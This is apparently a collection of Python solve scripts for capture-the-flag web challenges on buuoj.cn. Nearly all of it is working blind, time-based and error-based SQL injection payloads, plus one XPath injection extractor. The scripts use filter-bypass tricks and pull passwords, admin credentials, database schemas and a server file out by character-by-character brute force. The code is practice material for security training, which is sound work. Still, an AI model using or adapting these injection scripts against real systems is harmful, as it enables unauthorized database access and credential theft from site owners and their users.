from time import sleep

import requests

url = 'http://a9475c38-821c-4b23-aa96-87730f0863fe.node3.buuoj.cn/index.php'
flag = 'Hello, glzjin wants a girlfriend.'
result = ''

for i in range(1, 50):
    sleep(1)
    high = 127
    low = 32
    mid = (high + low) // 2
    while high > low:
        payload = "if(ascii(substr((select(flag)from(flag)),{index},1))>{char},1,2)".format(index=i, char=mid)
        data = {'id': payload}
        response = requests.post(url=url, data=data)
        if flag in response.text:
            low = mid + 1
        else:
            high = mid
        mid = (high + low) // 2

    result += chr(mid)
    print(result)

import requests
from time import sleep

url = "http://410b10a4-249a-4d9b-b1df-03f557672625.node3.buuoj.cn/search.php?id=6"
flag = "Clever! But not this table."
result = ""

for i in range(1, 1000):
    sleep(0.5)
    low = 32
    high = 127
    while high > low:
        mid = (high + low) // 2
        #payload = "^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{index},1))>{char})^1"
        #payload = "^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),{index},1))>{char})^1"
        #payload = "^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),{index},1))>{char})^1"
        payload = "^(ascii(substr((select(group_concat(password))from(F1naI1y)),{index},1))>{char})^1"
        response = requests.get(url + payload.format(index=i, char=mid))
        if flag in response.text:
            low = mid + 1
        else:
            high = mid

    if low != 32:
        result += chr(low)
    else:
        break
    print(result)

import requests
from time import sleep

URL = "http://acbcc15b-d8f2-48b3-9c67-3b16b465068f.node3.buuoj.cn/index.php"
flag = "Nu1L"
result = ""
target = "select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()"

for i in range(1, 50):
    sleep(0.1)
    low = 32
    high = 127
    while high > low:
        mid = (high + low) >> 1
        payload = "2||ascii(substr(({}),{},1))>{}"
        data = {
            'id': payload.format(target, i, mid)
        }
        response = requests.post(url=URL, data=data)
        if flag in response.text:
            low = mid + 1
        else:
            high = mid

    if low != 32:
        result += chr(low)
    else:
        break
    print(result)

import requests
from time import sleep

URL = "http://98ef5288-1d34-4680-a03c-1aa5f5fbfaad.node3.buuoj.cn/index.php"
flag = "Nu1L"
result = ""
payload = "2||(select 1,'{}')>(select * from f1ag_1s_h3r3_hhhhh)"

for i in range(1,200):
    for j in range(32, 127):
        sleep(0.1)
        char = result + chr(j)
        data={
            'id': payload.format(char)
        }
        response = requests.post(URL, data=data)
        if flag in response.text:
            result += chr(j - 1)
            print(result)
            break;

# -*- coding: UTF-8 -*-
import requests
import string
import time
from urllib import parse


url = '''http://aabb7aa1-f68f-44c7-9e75-514410c6d6f2.node3.buuoj.cn/index.php'''
passwd = ""
strs = string.ascii_lowercase + string.digits + '_'

for i in range(100):
    for m in strs:
        time.sleep(0.3)
        data = {
            "username": '\\',
            "passwd": '||/**/passwd/**/regexp/**/"^{}";{}'.format(passwd+m, parse.unquote('%00'))
        }
        res = requests.post(url, data)
        if res.status_code == 404:
            passwd += m
            print(passwd)
            break
print(passwd)

import requests
import json
import time


def main():
    url = '''http://71c8375e-74ff-45aa-a2ee-8670864f6b0b.node3.buuoj.cn/index.php?r=Login/Login'''
    payloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"
    flag = ''
    for i in range(1, 30):
        # payload = "select if(ascii(substr((select database()),{0},1))={1},sleep(3),1)"
        # payload = "select if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctf'),{0},1))={1},sleep(3),1)"
        # payload = "select if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),{0},1))={1},sleep(3),1)"
        payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
        for j in range(0, 128):
            time.sleep(0.1)
            datas = {'username': payloads.format(str_to_hex(payload.format(i, j))), 'password': 'test213'}
            data = json.dumps(datas)
            times = time.time()
            res = requests.post(url=url, data=data)
            if time.time() - times >= 3:
                flag = flag + chr(j)
                print(flag)
                break


def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])


if __name__ == '__main__':
    main()

import requests
from time import sleep

url = 'http://2cfb1e37-5400-4888-895d-bd5db365a250.node3.buuoj.cn/index.php'
data = {
    'username': 'admin\\',
    'password': ''
}
flag = 'BJD needs to be stronger'
result = ''

for i in range(1, 50):
    sleep(0.5)
    high = 127
    low = 32
    while high > low:
        mid = (high + low) // 2
        payload = "or/**/if(ascii(substr(password,%d,1))>%d,1,0)#" % (i, mid)
        data['password'] = payload

        rs = requests.post(url=url, data=data)

        if flag in rs.text:
            low = mid + 1
        else:
            high = mid

    if low != 32:
        result += chr(low)
    else:
        break
    print(result)

import requests
from time import sleep

url = "http://143e2c2b-3448-4468-aeee-95cd35c73be0.node3.buuoj.cn/image.php?id=\\0&path="
#payload = "or id=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1},1,0)%23"
#payload = "or id=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{0},1))>{1},1,0)%23"
#payload = "or id=if(ascii(substr((select username from users),{0},1))>{1},1,0)%23"
payload = "or id=if(ascii(substr((select password from users),{0},1))>{1},1,0)%23"
flag = "JFIF"
result = ""

for i in range(1, 100):
    sleep(0.5)
    low = 32
    high = 127
    while high > low:
        mid = (high + low) >> 1
        response = requests.get(url + payload.format(i, mid))
        if flag in response.text:
            low = mid + 1
        else:
            high = mid

    if low != 32:
        result += chr(low)
    else:
        break
    print(result)

import requests

url = "http://a55db98c-72b1-40e8-b771-61b1bc60cd9d.node3.buuoj.cn/?stunum="
flag = "Hi admin, your score is: 100"
result = ""

for i in range(1, 100):
    low = 32
    high = 127
    while high > low:
        mid = (high + low) >> 1
        #payload = "if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='ctf'),{0},1))>{1},1,0)"
        #payload = "if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag'),{0},1))>{1},1,0)"
        payload = "if(ascii(substr((select(group_concat(flag,0x3a,value))from(flag)),{0},1))>{1},1,0)"
        response = requests.post(url+payload.format(i, mid))
        if flag in response.text:
            low = mid + 1
        else:
            high = mid

    if low != 32:
        result += chr(low)
    else:
        break
    print(result)

import requests

url = "http://node3.buuoj.cn:29354/"

# 这个head头好像必须加cookie
head = {
    "X-Forwarded-For": "",
    "Cookie": "track_uuid=60661451-cdab-4a74-95b4-74d6a66945a9"
}

# #查库名
# payload = "0' or ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{},1))>{} or '0"

# #查表名
# payload = "0' or ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='F4l9_D4t4B45e')),{},1))>{} or '0"

# #查列名
# payload = "0' or ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F4l9_t4b1e')),{},1))>{} or '0"

# 查flag
payload = "0' or ascii(substr((select(group_concat(F4l9_C01uMn))from(F4l9_D4t4B45e.F4l9_t4b1e)),{},1))>{} or '0"

flag = ""

for i in range(1, 1000):
    low = 32
    high = 137
    mid = (low + high) // 2

    while low < high:
        '''插入sql语句'''
        payload1 = payload.format(i, mid)
        head["X-Forwarded-For"] = payload1
        requests.get(url, headers=head)

        '''重新发送两次请求'''
        head["X-Forwarded-For"] = "penson"
        requests.get(url, headers=head)
        r = requests.get(url, headers=head)

        if "Last Ip: 1 " in r.text:
            low = mid + 1
        else:
            high = mid

        mid = (low + high) // 2

    if mid == 32 or mid == 127:
        break
    flag += chr(mid)
    print(flag)

print(flag)

# coding=utf-8
import requests
import re, binascii
import sys

url = "http://7fb57b69-428d-4c33-8988-d08449ffb183.node3.buuoj.cn/"
sql = "select * from flag"

email = ["test0" + str(i) + "@aa.aa" for i in range(0, 24)]  # 这里次数可以通过sql爆破flag长度得到，或者也可fuzz


def register(email, offset):
    payload = "0'+(select substr(hex(hex(({0}))) from {1} for 10))+'0".format(sql, str(1 + offset * 10))
    data = {
        "email": email,
        "username": payload,
        "password": "test"
    }

    req = requests.post(url + "/register.php", data=data)


def login(email):
    data = {
        "email": email,
        "password": "test"
    }
    r = requests.post(url + "/login.php", data, allow_redirects=True)
    pattern = '<span class=\"user-name\">\s*(\d{1,10})\s*<'
    return re.findall(pattern, r.text)[0]


if __name__ == '__main__':
    raw = ''

    for email, offset in zip(email, range(0, len(email))):
        register(email, offset)
        test = login(email)
        print(test)
        raw += test
        sys.stdout.write("[-] Double Hex : -> %s <-\r" % (raw))
        sys.stdout.flush()

    print("[+] Double Hex : -> {} <-".format(raw))

import requests

url = "http://0b5ee7e6-71d1-4280-9dd3-6e27f0650b68.node3.buuoj.cn/backend/content_detail.php?id="
proxies = { "http": None, "https": None}
name = ""
i = 0
while True:
    head = 32
    tail = 127
    i += 1
    while head < tail:
        mid = head + tail >> 1
        # payload = "if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d,3,2)" % (i, mid)
        # payload = "if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='contents')),%d,1))>%d,3,2)" % (i, mid)
        payload = "if(ascii(substr((select(group_concat(password))from(admin)),%d,1))>%d,3,2)" % (i, mid)

        r = requests.get(url + payload, proxies=proxies)
        # print(url+payload)
        # print(r.json())
        if "Yunen" in str(r.json()):
            head = mid + 1
        else:
            tail = mid
    if head != 32:
        name += chr(head)
        print(name)
    else:
        break

# -*- coding: UTF-8 -*-
import requests
import re
import string
import time

url = 'http://90cceea4-fbed-4c2b-97de-a43474dea042.node3.buuoj.cn/login.php'
sess = requests.session()
strs = string.digits + string.ascii_letters
headers = {
    'Content-Type': 'application/xml'
}
find = re.compile('<input type="hidden" id="token" value="(.*?)" />')
result = ''

for i in range(50):
    for j in strs:
        r = sess.post(url=url)
        token = find.findall(r.text)
        time.sleep(1)
        if token:
            # 根节点root
            # data = "<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>123</password><token>{}</token>".format(i, j, token[0])
            # root子节点accounts
            # data = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>123</password><token>{}</token>".format(
            # accounts子节点user
            # data = "<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>123</password><token>{}</token>".format(
            # user子节点id, username, password
            # data = "<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}'  or ''='</username><password>123</password><token>{}</token>".format(
            # data = "<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}'  or ''='</username><password>123</password><token>{}</token>".format(
            data = "<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}'  or ''='</username><password>123</password><token>{}</token>".format(
                i, j, token[0])
            res = sess.get(url=url, headers=headers, data=data)
            if '非法操作' in res.text:
                result += j
                print(result)
                break

import requests
import string
import binascii
import time
import sys

url = """http://9ba27d3d-01fd-4c6e-8c1c-e52d69a8a150.node3.buuoj.cn/user/user.php?id="""
r = requests.session()
cookies = {
    "PHPSESSID": "o5lhvid6588d0rgkgieh1vne75"
}
char = string.ascii_lowercase + string.digits + '/'
payload = "2-(@@secure_file_priv<BINARY(0x{0}))"
flag = ""
data = ""

hex = lambda s: binascii.b2a_hex(s.encode("utf-8")).decode("utf-8")

for _ in range(50):
    for i in range(33, 128):
        c = chr(i)
        time.sleep(0.3)
        _url = url + payload.format(flag+hex(c))
        res = r.get(url=_url, cookies=cookies)
        # print(res.text)
        if 'admin' in res.text:
            data += chr(i-1)
            flag += hex(chr(i-1))
            print(data)
            break
print(data)

import requests

url = """http://9ba27d3d-01fd-4c6e-8c1c-e52d69a8a150.node3.buuoj.cn/user/user.php?id="""
cookies = {
    "PHPSESSID":"fg4kp97ksielnvnssv53iul2s6"
}
data='0x'
flag=''
r=requests.session()

for i in range(9999):
    for i in range(32,127):
        _url = url + '^(hex(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870))<'+data+str(hex(i)).replace('0x','')+')'
        result=r.get(url=url,cookies=cookies)
        if 'admin' in result.text:
            data+=str(hex(i-1)).replace('0x','')
            flag+=(chr(i-1))
            print (flag)
            break
print(data)